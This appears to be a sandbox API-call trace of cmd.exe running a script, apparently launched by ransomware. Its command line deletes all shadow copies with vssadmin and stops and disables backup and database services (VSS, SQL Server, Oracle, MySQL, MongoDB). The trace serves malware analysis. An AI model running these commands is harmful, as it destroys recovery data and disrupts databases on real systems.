	[0035.261] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3ee7d0, lpData=0x3ee7d4, lpcbData=0x3ee7cc*=0x1000 | out: lpType=0x3ee7d0*=0x4, lpData=0x3ee7d4*=0x9, lpcbData=0x3ee7cc*=0x4) returned 0x0
	[0035.261] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3ee7d0, lpData=0x3ee7d4, lpcbData=0x3ee7cc*=0x1000 | out: lpType=0x3ee7d0*=0x4, lpData=0x3ee7d4*=0x9, lpcbData=0x3ee7cc*=0x4) returned 0x0
	[0035.261] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3ee7d0, lpData=0x3ee7d4, lpcbData=0x3ee7cc*=0x1000 | out: lpType=0x3ee7d0*=0x0, lpData=0x3ee7d4*=0x9, lpcbData=0x3ee7cc*=0x1000) returned 0x2
	[0035.261] RegCloseKey (hKey=0x68) returned 0x0
	[0035.261] time (in: timer=0x0 | out: timer=0x0) returned 0x5d6b91dc
	[0035.261] srand (_Seed=0x5d6b91dc) 
	[0035.261] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c @echo off\r\nvssadmin delete shadows /all /quiet\r\nsc config browser\r\nsc config browser start=enabled\r\nsc stop vss\r\nsc config vss start=disabled\r\nsc stop MongoDB\r\nsc config MongoDB start=disabled\r\nsc stop SQLWriter\r\nsc config SQLWriter start=disabled\r\nsc stop MSSQLServerOLAPService\r\nsc config MSSQLServerOLAPService start=disabled\r\nsc stop MSSQLSERVER\r\nsc config MSSQLSERVER start=disabled\r\nsc stop MSSQL$SQLEXPRESS\r\nsc config MSSQL$SQLEXPRESS start=disabled\r\nsc stop ReportServer\r\nsc config ReportServer start=disabled\r\nsc stop OracleServiceORCL\r\nsc config OracleServiceORCL start=disabled\r\nsc stop OracleDBConsoleorcl\r\nsc config OracleDBConsoleorcl start=disabled\r\nsc stop OracleMTSRecoveryService\r\nsc config OracleMTSRecoveryService start=disabled\r\nsc stop OracleVssWriterORCL\r\nsc config OracleVssWriterORCL start=disabled\r\nsc stop MySQL\r\nsc config MySQL start=disabled\r\n"
	[0035.261] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c @echo off\r\nvssadmin delete shadows /all /quiet\r\nsc config browser\r\nsc config browser start=enabled\r\nsc stop vss\r\nsc config vss start=disabled\r\nsc stop MongoDB\r\nsc config MongoDB start=disabled\r\nsc stop SQLWriter\r\nsc config SQLWriter start=disabled\r\nsc stop MSSQLServerOLAPService\r\nsc config MSSQLServerOLAPService start=disabled\r\nsc stop MSSQLSERVER\r\nsc config MSSQLSERVER start=disabled\r\nsc stop MSSQL$SQLEXPRESS\r\nsc config MSSQL$SQLEXPRESS start=disabled\r\nsc stop ReportServer\r\nsc config ReportServer start=disabled\r\nsc stop OracleServiceORCL\r\nsc config OracleServiceORCL start=disabled\r\nsc stop OracleDBConsoleorcl\r\nsc config OracleDBConsoleorcl start=disabled\r\nsc stop OracleMTSRecoveryService\r\nsc config OracleMTSRecoveryService start=disabled\r\nsc stop OracleVssWriterORCL\r\nsc config OracleVssWriterORCL start=disabled\r\nsc stop MySQL\r\nsc config MySQL start=disabled\r\n"
	[0035.262] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a605260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0035.262] GetProcessHeap () returned 0x450000
	[0035.262] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x210) returned 0x464ce8
	[0035.262] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x464cf0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0035.263] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0035.263] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0035.263] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0035.263] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0035.263] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0035.263] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0035.263] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0035.263] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0035.263] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0035.263] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0035.263] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0035.263] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0035.263] GetProcessHeap () returned 0x450000
	[0035.263] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x463738 | out: hHeap=0x450000) returned 1
	[0035.263] GetEnvironmentStringsW () returned 0x462c60*
	[0035.263] GetProcessHeap () returned 0x450000
	[0035.263] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xae2) returned 0x4659f0
	[0035.263] FreeEnvironmentStringsW (penv=0x462c60) returned 1
	[0035.264] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0035.264] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0035.264] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0035.264] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0035.264] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0035.264] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0035.264] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0035.264] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0035.264] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0035.264] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0035.264] GetProcessHeap () returned 0x450000
	[0035.264] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x54) returned 0x4507f0
	[0035.264] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3ef594 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0035.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3ef594, lpFilePart=0x3ef590 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3ef590*="Desktop") returned 0x25
	[0035.264] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0035.264] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3ef310 | out: lpFindFileData=0x3ef310*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x462ae0
	[0035.264] FindClose (in: hFindFile=0x462ae0 | out: hFindFile=0x462ae0) returned 1
	[0035.264] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3ef310 | out: lpFindFileData=0x3ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x462ae0
	[0035.264] FindClose (in: hFindFile=0x462ae0 | out: hFindFile=0x462ae0) returned 1
	[0035.264] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0035.264] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3ef310 | out: lpFindFileData=0x3ef310*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d368950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x462ae0
	[0035.265] FindClose (in: hFindFile=0x462ae0 | out: hFindFile=0x462ae0) returned 1
	[0035.265] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0035.265] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0035.265] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0035.265] GetProcessHeap () returned 0x450000
	[0035.265] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4659f0 | out: hHeap=0x450000) returned 1
	[0035.265] GetEnvironmentStringsW () returned 0x464f00*
	[0035.265] GetProcessHeap () returned 0x450000
	[0035.265] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb36) returned 0x465a40
	[0035.265] FreeEnvironmentStringsW (penv=0x464f00) returned 1
	[0035.265] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a605260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0035.265] GetProcessHeap () returned 0x450000
	[0035.265] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4507f0 | out: hHeap=0x450000) returned 1
	[0035.265] GetProcessHeap () returned 0x450000
	[0035.265] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400e) returned 0x466580
	[0035.265] GetProcessHeap () returned 0x450000
	[0035.265] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x6de) returned 0x4637a0
	[0035.265] GetProcessHeap () returned 0x450000
	[0035.265] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466580 | out: hHeap=0x450000) returned 1
	[0035.265] GetConsoleOutputCP () returned 0x1b5
	[0035.266] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1
	[0035.266] GetUserDefaultLCID () returned 0x409
	[0035.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a604950, cchData=8 | out: lpLCData=":") returned 2
	[0035.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3ef6d4, cchData=128 | out: lpLCData="0") returned 2
	[0035.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3ef6d4, cchData=128 | out: lpLCData="0") returned 2
	[0035.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3ef6d4, cchData=128 | out: lpLCData="1") returned 2
	[0035.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a604940, cchData=8 | out: lpLCData="/") returned 2
	[0035.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a604d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0035.267] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a604d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0035.267] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a604d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0035.267] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a604cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0035.267] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a604c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0035.267] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a604c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0035.267] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a604c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0035.267] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a604930, cchData=8 | out: lpLCData=".") returned 2
	[0035.267] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a604920, cchData=8 | out: lpLCData=",") returned 2
	[0035.267] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0035.268] GetProcessHeap () returned 0x450000
	[0035.268] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20c) returned 0x451050
	[0035.268] GetConsoleTitleW (in: lpConsoleTitle=0x451050, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0035.268] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0035.268] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0035.268] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0035.268] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0035.269] GetProcessHeap () returned 0x450000
	[0035.269] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400a) returned 0x466580
	[0035.269] GetProcessHeap () returned 0x450000
	[0035.269] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466580 | out: hHeap=0x450000) returned 1
	[0035.269] GetProcessHeap () returned 0x450000
	[0035.269] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x58) returned 0x451268
	[0035.270] _wcsicmp (_String1="echo", _String2=")") returned 60
	[0035.270] _wcsicmp (_String1="FOR", _String2="echo") returned 1
	[0035.270] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1
	[0035.270] _wcsicmp (_String1="IF", _String2="echo") returned 4
	[0035.270] _wcsicmp (_String1="IF/?", _String2="echo") returned 4
	[0035.270] _wcsicmp (_String1="REM", _String2="echo") returned 13
	[0035.270] _wcsicmp (_String1="REM/?", _String2="echo") returned 13
	[0035.270] GetProcessHeap () returned 0x450000
	[0035.270] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x58) returned 0x4507f0
	[0035.270] GetProcessHeap () returned 0x450000
	[0035.270] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x12) returned 0x463e88
	[0035.270] GetProcessHeap () returned 0x450000
	[0035.270] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x12) returned 0x463ea8
	[0035.271] GetConsoleTitleW (in: lpConsoleTitle=0x3ef36c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0035.271] _wcsicmp (_String1="echo", _String2="DIR") returned 1
	[0035.271] _wcsicmp (_String1="echo", _String2="ERASE") returned -15
	[0035.271] _wcsicmp (_String1="echo", _String2="DEL") returned 1
	[0035.271] _wcsicmp (_String1="echo", _String2="TYPE") returned -15
	[0035.271] _wcsicmp (_String1="echo", _String2="COPY") returned 2
	[0035.271] _wcsicmp (_String1="echo", _String2="CD") returned 2
	[0035.271] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2
	[0035.271] _wcsicmp (_String1="echo", _String2="RENAME") returned -13
	[0035.272] _wcsicmp (_String1="echo", _String2="REN") returned -13
	[0035.272] _wcsicmp (_String1="echo", _String2="ECHO") returned 0
	[0035.272] GetProcessHeap () returned 0x450000
	[0035.272] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x1c) returned 0x450890
	[0035.272] GetProcessHeap () returned 0x450000
	[0035.272] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x450890, Size=0x12) returned 0x463ec8
	[0035.272] GetProcessHeap () returned 0x450000
	[0035.272] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x463ec8) returned 0x12
	[0035.272] GetProcessHeap () returned 0x450000
	[0035.272] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x1c) returned 0x450890
	[0035.272] _wcsnicmp (_String1="off", _String2="off", _MaxCount=0x3) returned 0
	[0035.272] _get_osfhandle (_FileHandle=1) returned 0x7
	[0035.272] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0035.272] _get_osfhandle (_FileHandle=1) returned 0x7
	[0035.272] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1
	[0035.273] _get_osfhandle (_FileHandle=0) returned 0x3
	[0035.273] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1
	[0035.273] SetConsoleInputExeNameW () returned 0x1
	[0035.273] GetConsoleOutputCP () returned 0x1b5
	[0035.273] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1
	[0035.273] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0035.273] exit (_Code=0)